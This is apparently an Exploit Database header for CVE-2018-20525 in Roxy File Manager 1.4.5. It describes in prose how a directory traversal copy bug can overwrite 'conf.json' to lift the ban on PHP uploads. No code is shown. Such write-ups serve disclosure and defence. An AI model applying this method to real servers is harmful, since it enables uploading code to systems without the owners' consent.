# Exploit Title: Roxy File Manager 1.4.5 PHP File Upload Restriction Bypass
# Exploit Author: Adam Shebani (NULLHE4D)
# Date: 07/03/2022
# Software: Roxy File Manager
# Version: 1.4.5
# CVE: CVE-2018-20525
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-php
# Tested on: PHP 7.2 on Ubuntu 20.04 LTS and PHP 7.4 on Windows 10
# Roxy File Manager 1.4.5 restricts uploading files with certain
# extensions, including various PHP extensions. These forbidden
# extensions are configured in a file called 'conf.json' at the root
# of the file manager's code base. Sections #1 and #1.1 at
# https://www.exploit-db.com/exploits/46085 demonstrate a directory
# traversal vulnerability that allows exfiltrating arbitrary
# directories by copying them to a directory accessible through the
# file manager's web interface. The same vulnerability can be used
# to overwrite the 'conf.json' file by copying a directory
# containing a modified configuration file that has been uploaded.
# The directory must have the same name as the original
# configuration file's parent directory (usually 'fileman'). The
# source and destination directories will be merged and files from
# the destination directory get overwritten by the ones from the
# source if they have the same name.
